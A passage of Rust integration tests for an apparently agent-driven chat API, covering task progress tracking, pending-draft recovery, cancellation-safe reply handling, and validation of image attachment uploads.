15175                node: "chat".to_owned(),
15176            },
15177        );
15178        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15179        assert_eq!(empty["task_progress"]["state"], "none");
15180        assert_eq!(empty["task_progress"]["total"], 0);
15181        queue.put(&mut mine).expect("file the task");
15182        let mut theirs = Task::new(
15183            "unrelated".to_owned(),
15184            "unrelated".to_owned(),
15185            PathBuf::from("/repo/magi"),
15186            Source::Human,
15187        );
15188        // A later task linked through origin_chat alone is outside this list.
15189        theirs.origin_chat = Some(talk_id.clone());
15190        queue.put(&mut theirs).expect("file the task");
15191
15192        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15193        assert_eq!(res.status, 200, "{}", res.body);
15194        let body = res.json();
15195        assert_eq!(
15196            body["status"], "open",
15197            "filing a task does not close a talk"
15198        );
15199        let tasks = body["tasks"].as_array().expect("tasks array");
15200        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15201        assert_eq!(tasks[0]["id"], mine.id);
15202        for status in [
15203            TaskStatus::Queued,
15204            TaskStatus::Running,
15205            TaskStatus::Held,
15206            TaskStatus::Failed,
15207            TaskStatus::Blocked,
15208            TaskStatus::Parked,
15209            TaskStatus::Done,
15210            TaskStatus::Queued,
15211        ] {
15212            mine.status = status;
15213            queue.put(&mut mine).expect("update status");
15214            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15215            let progress = &detail["task_progress"];
15216            assert_eq!(progress["total"], 1);
15217            assert_eq!(progress["counts"][status.as_str()], 1);
15218            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15219            assert_eq!(detail["status"], "open", "completion never closes the chat");
15220            if status == TaskStatus::Done {
15221                assert_eq!(progress["state"], "complete");
15222                assert_eq!(progress["done"], 1);
15223                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15224            } else {
15225                assert_eq!(progress["state"], "incomplete");
15226                assert_eq!(progress["done"], 0);
15227                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15228            }
15229        }
15230    }
15231
15232    #[test]
15233    fn talk_task_progress_counts_mixed_statuses() {
15234        let mut tasks: Vec<_> = [
15235            TaskStatus::Queued,
15236            TaskStatus::Running,
15237            TaskStatus::Held,
15238            TaskStatus::Failed,
15239            TaskStatus::Blocked,
15240            TaskStatus::Parked,
15241            TaskStatus::Done,
15242        ]
15243        .into_iter()
15244        .map(|status| {
15245            let mut task = Task::new(
15246                "task".into(),
15247                "task".into(),
15248                PathBuf::from("/repo"),
15249                Source::Human,
15250            );
15251            task.status = status;
15252            task
15253        })
15254        .collect();
15255        let progress = talk_task_progress(&tasks);
15256        assert_eq!(progress.state, "incomplete");
15257        assert_eq!(progress.total, 7);
15258        assert_eq!(progress.done, 1);
15259        assert_eq!(progress.unfinished_ids.len(), 6);
15260        assert!(progress.counts.values().all(|count| *count == 1));
15261        assert_eq!(
15262            progress.unfinished_ids,
15263            tasks[..6]
15264                .iter()
15265                .map(|task| task.id.clone())
15266                .collect::<Vec<_>>()
15267        );
15268
15269        for task in &mut tasks {
15270            task.status = TaskStatus::Done;
15271        }
15272        let complete = talk_task_progress(&tasks);
15273        assert_eq!(complete.state, "complete");
15274        assert_eq!(complete.done, 7);
15275        assert!(complete.unfinished_ids.is_empty());
15276        tasks[0].status = TaskStatus::Queued;
15277        let requeued = talk_task_progress(&tasks);
15278        assert_eq!(requeued.state, "incomplete");
15279        assert_eq!(requeued.done, 6);
15280        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15281
15282        let empty = talk_task_progress(&[]);
15283        assert_eq!(empty.state, "none");
15284        assert_eq!(empty.total, 0);
15285        assert_eq!(empty.done, 0);
15286        assert!(empty.unfinished_ids.is_empty());
15287        assert!(empty.counts.values().all(|count| *count == 0));
15288    }
15289
15290    #[tokio::test]
15291    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15292        let (_tmp, _repo, f) = talk_fixture().await;
15293        let id = f.post("/api/talks", None).await.json()["id"]
15294            .as_str()
15295            .expect("id")
15296            .to_owned();
15297
15298        let res = f
15299            .post(
15300                &format!("/api/talks/{id}/say"),
15301                Some(r#"{"text":"what does the queue module do?"}"#),
15302            )
15303            .await;
15304        assert_eq!(res.status, 202, "{}", res.body);
15305        let queued = res.json();
15306        let turns = queued["turns"].as_array().expect("turns array");
15307        assert_eq!(
15308            turns.len(),
15309            1,
15310            "the answer reflects only what is on disk the instant it is sent, \
15311             before the agent's turn - which can run for the whole of \
15312             `[graph] timeout_talk` - has a chance to land: {queued}"
15313        );
15314        assert_eq!(turns[0]["who"], "operator");
15315        assert_eq!(turns[0]["body"], "what does the queue module do?");
15316        assert_eq!(
15317            queued["thinking"], true,
15318            "the accepted response exposes the background turn claim: {queued}"
15319        );
15320
15321        let mut turns_after = 1;
15322        for _ in 0..SETTLE_STEPS {
15323            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15324            turns_after = detail["turns"].as_array().expect("turns array").len();
15325            if turns_after == 2 {
15326                break;
15327            }
15328            tokio::time::sleep(Duration::from_millis(10)).await;
15329        }
15330        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15331    }
15332
15333    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15334    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15335    /// guards against: `talk::record` used to return, and only *then* did the
15336    /// handler make a second, separate disk round trip before spawning the
15337    /// agent's reply task. A future dropped in that gap left a message
15338    /// recorded on disk with no reply task ever started and no way back short
15339    /// of a fresh message - and the gap was not even the whole story: *any*
15340    /// `.await` in this handler, including the very first one, is a point
15341    /// where a drop can land after the awaited work already finished but
15342    /// before this handler's own code resumes to act on it. `record` now
15343    /// runs inside the task `tokio::spawn` hands to the runtime before this
15344    /// handler ever awaits anything of its own again, so there is nothing
15345    /// left in *this* handler's future for a disconnect to interrupt between
15346    /// the message landing on disk and the reply task starting.
15347    ///
15348    /// A real socket disconnect cannot be relied on to land in the old gap
15349    /// from a test - over loopback, `talk_say` typically finishes before the
15350    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15351    /// same failure mode directly: it drops the task's future at whatever
15352    /// point it has reached, exactly what axum does to the handler future,
15353    /// without needing to win a real network race. Sweeping the delay before
15354    /// aborting samples a range of points the task's execution can be at,
15355    /// including where the old code sat waiting on its second disk round
15356    /// trip - confirmed by reverting this fix locally and watching this same
15357    /// sweep catch a talk stuck with the operator's turn recorded and no
15358    /// reply ever following.
15359    #[tokio::test]
15360    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15361        let tmp = TempDir::new().expect("tempdir");
15362        let repo = tmp.path().join("repo");
15363        std::fs::create_dir_all(&repo).expect("repo dir");
15364        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15365        let home = TempDir::new().expect("temp home");
15366        let talks = Talks::at(home.path().join("talks"));
15367        let ui = Arc::new(
15368            Ui::new(
15369                Queue::at(home.path().join("queue")),
15370                Questions::at(home.path().join("questions")),
15371                talks.clone(),
15372                home.path().join("runs"),
15373                home.path().to_path_buf(),
15374                repo.clone(),
15375            )
15376            .with_worktrees_root(home.path().join("wt")),
15377        );
15378        let cfg = config_for(&repo).await.expect("discover config");
15379
15380        for delay in 0..40u32 {
15381            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15382            let id = talk.id.clone();
15383
15384            let handler = tokio::spawn(talk_say(
15385                State(Arc::clone(&ui)),
15386                Path(id.clone()),
15387                Ok(Json(NewTalkTurn {
15388                    reply_to: None,
15389                    text: "what does the queue module do?".to_owned(),
15390                    attachments: Vec::new(),
15391                })),
15392            ));
15393            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15394            handler.abort();
15395            // Wait out the abort so the next iteration's talk does not race
15396            // this one's still-unwinding turn guard.
15397            let _ = handler.await;
15398
15399            let mut turns = 0;
15400            for _ in 0..SETTLE_STEPS {
15401                if let Ok(fresh) = talks.get(&id) {
15402                    turns = fresh.turns.len();
15403                    if turns != 1 {
15404                        break;
15405                    }
15406                }
15407                tokio::time::sleep(Duration::from_millis(10)).await;
15408            }
15409            assert_ne!(
15410                turns, 1,
15411                "delay {delay}: talk {id} recorded the operator's turn but \
15412                 the agent never answered - the reply task was never \
15413                 started after the handler future was dropped"
15414            );
15415        }
15416    }
15417
15418    /// The same drop, landing on `talk_say`'s other durable write.
15419    ///
15420    /// When a turn is already running, the busy branch persists the
15421    /// operator's text as a queued draft and then reclaims the turn slot if
15422    /// the holder gave it up in the meantime - and whoever reclaims owes that
15423    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15424    /// which finishes whether or not the future awaiting it is still there,
15425    /// so a handler dropped at that `.await` used to leave the draft written
15426    /// to disk with the reclaimed guard dropped unread and no drainer ever
15427    /// started: the message sat queued until some unrelated later `say`
15428    /// happened to pick it up.
15429    ///
15430    /// This used to drive the handler future by hand, polling it a fixed
15431    /// number of times to park it at the `.await` where it asks for the turn
15432    /// and finds it busy, before the reclaim's slot-free case could be set up
15433    /// underneath it. That assumed a fixed number of polls lands at a fixed
15434    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15435    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15436    /// poll, so any number of this handler's several `blocking` awaits can
15437    /// collapse into one poll under load, landing the drive somewhere other
15438    /// than intended - including, occasionally, straight past the handler's
15439    /// own completion, which made polling it again panic with "async fn
15440    /// resumed after completion". No poll count fixes that; the handler's
15441    /// progress simply is not something a caller outside it can observe by
15442    /// counting.
15443    ///
15444    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15445    /// inside the write itself, so the interleaving under test is pinned by
15446    /// an event instead of a guess: the gate fires only once the handler has
15447    /// actually decided `Busy` and is about to persist the draft, and it
15448    /// blocks that write until the test lets it through. Between those two
15449    /// moments the test drains the turn the handler found busy - through
15450    /// `drain_loop`, the protocol's other half - and then aborts the handler
15451    /// task outright, the same way axum drops a disconnected request's
15452    /// future. The write, and the reclaim it may do, run to completion
15453    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15454    /// to the runtime before ever touching the gate, wholly independent of
15455    /// whether the handler that started it is still around - which is what
15456    /// this test is actually checking. A drainer other than that reclaim
15457    /// cannot exist here: the test's own `drain_loop` call happens before the
15458    /// gate opens, so it runs while the queue is still empty and hands the
15459    /// turn straight back rather than draining anything, closing off the
15460    /// possibility of the final assertion passing without the reclaim ever
15461    /// having done its job.
15462    #[tokio::test]
15463    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15464        let tmp = TempDir::new().expect("tempdir");
15465        let repo = tmp.path().join("repo");
15466        std::fs::create_dir_all(&repo).expect("repo dir");
15467        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15468        let home = TempDir::new().expect("temp home");
15469        let talks = Talks::at(home.path().join("talks"));
15470        let ui = Arc::new(
15471            Ui::new(
15472                Queue::at(home.path().join("queue")),
15473                Questions::at(home.path().join("questions")),
15474                talks.clone(),
15475                home.path().join("runs"),
15476                home.path().to_path_buf(),
15477                repo.clone(),
15478            )
15479            .with_worktrees_root(home.path().join("wt")),
15480        );
15481        let cfg = config_for(&repo).await.expect("discover config");
15482
15483        for attempt in 0..3u32 {
15484            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15485            let id = talk.id.clone();
15486            // A turn is already running, which is what sends `talk_say` down
15487            // the busy branch.
15488            let turn_guard = ui
15489                .begin_talk_turn(&id)
15490                .expect("claim the turn")
15491                .expect("a fresh talk owes nobody a turn");
15492
15493            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15494            let (release_tx, release_rx) = std::sync::mpsc::channel();
15495            ui.set_busy_queue_gate(BusyQueueGate {
15496                reached: reached_tx,
15497                release: release_rx,
15498            });
15499
15500            let handler = tokio::spawn(talk_say(
15501                State(Arc::clone(&ui)),
15502                Path(id.clone()),
15503                Ok(Json(NewTalkTurn {
15504                    reply_to: None,
15505                    text: "what does the queue module do?".to_owned(),
15506                    attachments: Vec::new(),
15507                })),
15508            ));
15509
15510            // Wait for the busy branch to actually reach the gate, rather
15511            // than for any fixed number of polls of anything - a bounded
15512            // wait rather than a bare `.await` so a regression that never
15513            // reaches the gate fails the test instead of hanging it.
15514            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15515                .await
15516                .unwrap_or_else(|_| {
15517                    panic!(
15518                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15519                    )
15520                })
15521                .expect("the busy branch dropped the gate without using it");
15522            assert!(
15523                crate::consult::try_publication_guard(&talks, &id)
15524                    .expect("publication fence")
15525                    .is_none(),
15526                "a queued worker cannot promote text before its successor reservation is published"
15527            );
15528
15529            // A listener replacement queues its writer behind this accepted
15530            // mutation. Even disconnecting the HTTP caller must not release
15531            // admission before the write-to-worker handoff has completed.
15532            let closing = Arc::clone(&ui.admissions).write_owned();
15533            tokio::pin!(closing);
15534            std::future::poll_fn(|cx| {
15535                assert!(closing.as_mut().poll(cx).is_pending());
15536                std::task::Poll::Ready(())
15537            })
15538            .await;
15539            assert!(
15540                ui.begin_admission().is_err(),
15541                "replacement blocks later admissions"
15542            );
15543
15544            // The turn that was running now finishes and gives the slot up
15545            // the way a real one does - through `drain_loop`, which finds
15546            // nothing queued yet (the write is still held at the gate) and
15547            // releases. The handler, parked inside `spawn_blocking` on the
15548            // other side of the gate, still believes the talk is busy -
15549            // exactly the interleaving the reclaim exists for.
15550            let running = talks.get(&id).expect("reload talk");
15551            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15552
15553            // Drop the handler future now, the way a reloading phone drops
15554            // it: suspended waiting on the busy branch's answer, having
15555            // itself made no more progress since it handed the write off.
15556            handler.abort();
15557            let _ = handler.await;
15558            std::future::poll_fn(|cx| {
15559                assert!(
15560                    closing.as_mut().poll(cx).is_pending(),
15561                    "HTTP cancellation must not abandon a publishing transaction"
15562                );
15563                std::task::Poll::Ready(())
15564            })
15565            .await;
15566            assert!(
15567                crate::consult::try_publication_guard(&talks, &id)
15568                    .expect("publication fence after disconnect")
15569                    .is_none()
15570            );
15571
15572            // Only now let the gated write proceed. It persists the draft
15573            // and reclaims the now-free slot from inside the task the busy
15574            // branch already spawned - unaffected by the handler's abort
15575            // above, since that task was independent of the handler's own
15576            // future from the moment it was spawned.
15577            let _ = release_tx.send(());
15578            drop(
15579                tokio::time::timeout(Duration::from_secs(5), closing)
15580                    .await
15581                    .expect("short admission transaction should release for replacement"),
15582            );
15583            assert!(
15584                crate::consult::try_publication_guard(&talks, &id)
15585                    .expect("publication fence after acknowledgement")
15586                    .is_some(),
15587                "the publication fence is not retained by the long response"
15588            );
15589
15590            // A settled talk: the draft drained into an operator turn and
15591            // answered.
15592            let mut fresh = talks.get(&id).expect("reload talk");
15593            for _ in 0..SETTLE_STEPS {
15594                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15595                    break;
15596                }
15597                tokio::time::sleep(Duration::from_millis(10)).await;
15598                fresh = talks.get(&id).expect("reload talk");
15599            }
15600            assert!(
15601                fresh.pending.is_empty() && fresh.turns.len() == 2,
15602                "attempt {attempt}: talk {id} left the operator's text queued \
15603                 with no drainer - the reclaimed turn was dropped along with \
15604                 the handler future (pending {:?}, {} turns)",
15605                fresh.pending,
15606                fresh.turns.len()
15607            );
15608        }
15609    }
15610
15611    #[tokio::test]
15612    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15613        let (_tmp, _repo, f) = talk_fixture().await;
15614        let id = f.post("/api/talks", None).await.json()["id"]
15615            .as_str()
15616            .expect("id")
15617            .to_owned();
15618        let store = f.talks();
15619        let mut recovered = store.get(&id).expect("opened talk");
15620        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15621            .expect("persist pending draft without a live turn");
15622
15623        let edited = f
15624            .post(
15625                &format!("/api/talks/{id}/pending/edit"),
15626                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15627            )
15628            .await;
15629        assert_eq!(edited.status, 200, "{}", edited.body);
15630        assert!(edited.json()["thinking"].as_bool().unwrap());
15631
15632        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15633        for _ in 0..SETTLE_STEPS {
15634            if detail["turns"].as_array().expect("turns").len() == 2 {
15635                break;
15636            }
15637            tokio::time::sleep(Duration::from_millis(10)).await;
15638            detail = f.get(&format!("/api/talks/{id}")).await.json();
15639        }
15640        let turns = detail["turns"].as_array().expect("turns");
15641        assert_eq!(
15642            turns.len(),
15643            2,
15644            "the recovered draft must run once: {detail}"
15645        );
15646        assert_eq!(turns[0]["body"], "corrected");
15647        assert_eq!(detail["pending"], "");
15648    }
15649
15650    #[tokio::test]
15651    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15652        let tmp = TempDir::new().expect("tempdir");
15653        let repo = tmp.path().join("repo");
15654        std::fs::create_dir_all(&repo).expect("repo dir");
15655        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15656        let f = Fixture::with_repo(repo).await;
15657        let id = f.post("/api/talks", None).await.json()["id"]
15658            .as_str()
15659            .expect("id")
15660            .to_owned();
15661        let store = f.talks();
15662        let mut recovered = store.get(&id).expect("opened talk");
15663        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15664            .expect("persist pending draft without a live turn");
15665
15666        let refused = f
15667            .post(
15668                &format!("/api/talks/{id}/say"),
15669                Some(r#"{"text":"new message"}"#),
15670            )
15671            .await;
15672        assert_eq!(refused.status, 409, "{}", refused.body);
15673        assert!(refused.body.contains("resume"), "{}", refused.body);
15674        let saved = store.get(&id).expect("draft remains after refusal");
15675        assert!(saved.turns.is_empty());
15676        assert_eq!(saved.pending, "saved before restart");
15677
15678        let say_path = format!("/api/talks/{id}/say");
15679        let (first, second) = tokio::join!(
15680            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15681            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15682        );
15683        assert_eq!(first.status, 409, "{}", first.body);
15684        assert_eq!(second.status, 409, "{}", second.body);
15685        let saved = store
15686            .get(&id)
15687            .expect("draft remains after concurrent refusals");
15688        assert!(saved.turns.is_empty());
15689        assert_eq!(saved.pending, "saved before restart");
15690
15691        let resumed = f
15692            .post(&format!("/api/talks/{id}/pending/resume"), None)
15693            .await;
15694        assert_eq!(resumed.status, 202, "{}", resumed.body);
15695        let duplicate = f
15696            .post(&format!("/api/talks/{id}/pending/resume"), None)
15697            .await;
15698        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15699
15700        for _ in 0..SETTLE_STEPS {
15701            if store.get(&id).expect("talk").turns.len() == 2 {
15702                break;
15703            }
15704            tokio::time::sleep(Duration::from_millis(10)).await;
15705        }
15706        let finished = store.get(&id).expect("finished talk");
15707        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15708        assert_eq!(finished.turns[0].body, "saved before restart");
15709        assert!(finished.pending.is_empty());
15710    }
15711
15712    #[tokio::test]
15713    async fn an_image_only_recovered_draft_resumes_without_text() {
15714        let (_tmp, _repo, f) = talk_fixture().await;
15715        let id = f.post("/api/talks", None).await.json()["id"]
15716            .as_str()
15717            .expect("id")
15718            .to_owned();
15719        let uploaded = f
15720            .post_bytes(
15721                &format!("/api/talks/{id}/attachments"),
15722                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15723                PNG_BYTES,
15724            )
15725            .await;
15726        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15727        let attachment = f
15728            .talks()
15729            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15730            .expect("attachment metadata")
15731            .expect("stored attachment");
15732        let store = f.talks();
15733        let mut recovered = store.get(&id).expect("opened talk");
15734        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15735
15736        let resumed = f
15737            .post(&format!("/api/talks/{id}/pending/resume"), None)
15738            .await;
15739        assert_eq!(resumed.status, 202, "{}", resumed.body);
15740        for _ in 0..SETTLE_STEPS {
15741            if store.get(&id).expect("talk").turns.len() == 2 {
15742                break;
15743            }
15744            tokio::time::sleep(Duration::from_millis(10)).await;
15745        }
15746        let finished = store.get(&id).expect("finished talk");
15747        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15748        assert!(finished.turns[0].body.is_empty());
15749        assert_eq!(finished.turns[0].attachments.len(), 1);
15750        assert!(finished.pending_attachments.is_empty());
15751    }
15752
15753    #[tokio::test]
15754    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15755        let (_tmp, _repo, f) = talk_fixture().await;
15756        let id = f.post("/api/talks", None).await.json()["id"]
15757            .as_str()
15758            .expect("id")
15759            .to_owned();
15760        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15761        assert_eq!(closed.status, 200, "{}", closed.body);
15762        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15763            .expect("serialize closed talk");
15764        for (path, body) in [
15765            (format!("/api/talks/{id}/pending/resume"), None),
15766            (
15767                format!("/api/talks/{id}/pending/clear"),
15768                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15769            ),
15770            (
15771                format!("/api/talks/{id}/pending/edit"),
15772                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15773            ),
15774            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15775        ] {
15776            let response = f.post(&path, body).await;
15777            assert_eq!(response.status, 409, "{}", response.body);
15778        }
15779        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15780            .expect("serialize closed talk");
15781        assert_eq!(
15782            after_clear, before_clear,
15783            "clear must not rewrite a closed talk"
15784        );
15785    }
15786
15787    /// Keeps both claims observable long enough to exercise the distinction
15788    /// between one busy talk and a globally locked Chat surface.
15789    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15790
15791    #[tokio::test]
15792    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15793        let tmp = TempDir::new().expect("tempdir");
15794        let repo = tmp.path().join("repo");
15795        std::fs::create_dir_all(&repo).expect("repo dir");
15796        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15797        let f = Fixture::with_repo(repo).await;
15798        let id_a = f.post("/api/talks", None).await.json()["id"]
15799            .as_str()
15800            .unwrap()
15801            .to_owned();
15802        let id_b = f.post("/api/talks", None).await.json()["id"]
15803            .as_str()
15804            .unwrap()
15805            .to_owned();
15806
15807        let a = f
15808            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15809            .await;
15810        assert_eq!(a.status, 202, "{}", a.body);
15811        assert_eq!(a.json()["thinking"], true);
15812        let b = f
15813            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15814            .await;
15815        assert_eq!(b.status, 202, "{}", b.body);
15816        assert_eq!(b.json()["thinking"], true);
15817
15818        let listed = f.get("/api/talks").await.json();
15819        for id in [&id_a, &id_b] {
15820            let view = listed
15821                .as_array()
15822                .unwrap()
15823                .iter()
15824                .find(|talk| talk["id"] == *id)
15825                .unwrap();
15826            assert_eq!(view["thinking"], true, "{listed}");
15827        }
15828        let repeated = f
15829            .post(
15830                &format!("/api/talks/{id_a}/say"),
15831                Some(r#"{"text":"again"}"#),
15832            )
15833            .await;
15834        assert_eq!(repeated.status, 202, "{}", repeated.body);
15835        assert_eq!(repeated.json()["pending"], "again");
15836    }
15837
15838    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15839    /// few more, since real uploads are never exactly eight bytes.
15840    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15841
15842    #[tokio::test]
15843    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15844        let f = Fixture::start().await;
15845        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15846
15847        let res = f
15848            .post_bytes(
15849                &format!("/api/talks/{id}/attachments"),
15850                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15851                PNG_BYTES,
15852            )
15853            .await;
15854        assert_eq!(res.status, 201, "{}", res.body);
15855        let body = res.json();
15856        assert_eq!(body["name"], "shot.png");
15857        assert_eq!(body["mime"], "image/png");
15858        assert_eq!(body["bytes"], PNG_BYTES.len());
15859        let att_id = body["id"].as_str().expect("id").to_owned();
15860        assert_eq!(
15861            att_id.len(),
15862            32,
15863            "the id must never be a client-suppliable path: {att_id}"
15864        );
15865
15866        let got = f
15867            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15868            .await;
15869        assert_eq!(got.status, 200, "{}", got.body);
15870        assert_eq!(got.header("content-type"), Some("image/png"));
15871        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15872        assert_eq!(got.bytes, PNG_BYTES);
15873    }
15874
15875    #[tokio::test]
15876    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15877        let f = Fixture::start().await;
15878        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15879
15880        // SVG can carry a `<script>`, so it is never on the whitelist even
15881        // though it is a real IANA image type.
15882        let svg = f
15883            .post_bytes(
15884                &format!("/api/talks/{id}/attachments"),
15885                &[("Content-Type", "image/svg+xml")],
15886                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15887            )
15888            .await;
15889        assert!(
15890            (400..500).contains(&svg.status),
15891            "svg must be refused: {} {}",
15892            svg.status,
15893            svg.body
15894        );
15895        assert!(svg.body.contains("SVG"), "{}", svg.body);
15896
15897        let text = f
15898            .post_bytes(
15899                &format!("/api/talks/{id}/attachments"),
15900                &[("Content-Type", "text/plain")],
15901                b"just some text",
15902            )
15903            .await;
15904        assert!(
15905            (400..500).contains(&text.status),
15906            "an unlisted type must be refused: {} {}",
15907            text.status,
15908            text.body
15909        );
15910
15911        // The declared type is a real png, but the size check runs before
15912        // the bytes are even looked at.
15913        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15914        let big = f
15915            .post_bytes(
15916                &format!("/api/talks/{id}/attachments"),
15917                &[("Content-Type", "image/png")],
15918                &oversized,
15919            )
15920            .await;
15921        assert_eq!(
15922            big.status,
15923            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15924            "{}",
15925            big.body
15926        );
15927    }
15928
15929    #[tokio::test]
15930    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15931        let f = Fixture::start().await;
15932        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15933
15934        // A whitelisted `Content-Type`, but bytes that are not actually a
15935        // png - the declared header alone is never trusted.
15936        let res = f
15937            .post_bytes(
15938                &format!("/api/talks/{id}/attachments"),
15939                &[("Content-Type", "image/png")],
15940                b"<html>not a picture</html>",
15941            )
15942            .await;
15943        assert!((400..500).contains(&res.status), "{}", res.body);
15944    }
15945
15946    #[tokio::test]
15947    async fn an_unknown_attachment_id_is_a_404() {
15948        let f = Fixture::start().await;
15949        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15950
15951        let res = f
15952            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15953            .await;
15954        assert_eq!(res.status, 404, "{}", res.body);
15955    }
15956
15957    #[tokio::test]
15958    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15959        let f = Fixture::start().await;
15960        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15961
15962        let uploaded = f
15963            .post_bytes(
15964                &format!("/api/talks/{id}/attachments"),
15965                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15966                PNG_BYTES,
15967            )
15968            .await;
15969        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15970        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15971
15972        let res = f
15973            .post(
15974                &format!("/api/talks/{id}/say"),
15975                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15976            )
15977            .await;
15978        assert_eq!(res.status, 202, "{}", res.body);
15979        let queued = res.json();
15980        let turns = queued["turns"].as_array().expect("turns array");
15981        assert_eq!(
15982            turns.len(),
15983            1,
15984            "an empty body with an attachment is still a turn: {queued}"
15985        );
15986        assert_eq!(turns[0]["who"], "operator");
15987        assert_eq!(turns[0]["body"], "");
15988        let atts = turns[0]["attachments"]
15989            .as_array()
15990            .expect("attachments array");
15991        assert_eq!(atts.len(), 1);
15992        assert_eq!(atts[0]["id"], att_id);
15993        assert_eq!(atts[0]["mime"], "image/png");
15994
15995        // Not only in the response: `record` flushes to disk before the
15996        // agent's own turn is even spawned.
15997        let on_disk = f.talks().get(&id).expect("get");
15998        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15999        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16000    }
16001
16002    #[tokio::test]
16003    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16004        let f = Fixture::start().await;
16005        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16006
16007        let res = f
16008            .post(
16009                &format!("/api/talks/{id}/say"),
16010                Some(&format!(
16011                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16012                    "a".repeat(32)
16013                )),
16014            )
16015            .await;
16016        assert!((400..500).contains(&res.status), "{}", res.body);
16017        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16018
16019        let on_disk = f.talks().get(&id).expect("get");
16020        assert!(
16021            on_disk.turns.is_empty(),
16022            "a rejected attachment id must not partially record the turn: {:?}",
16023            on_disk.turns
16024        );
16025    }
16026
16027    #[tokio::test]
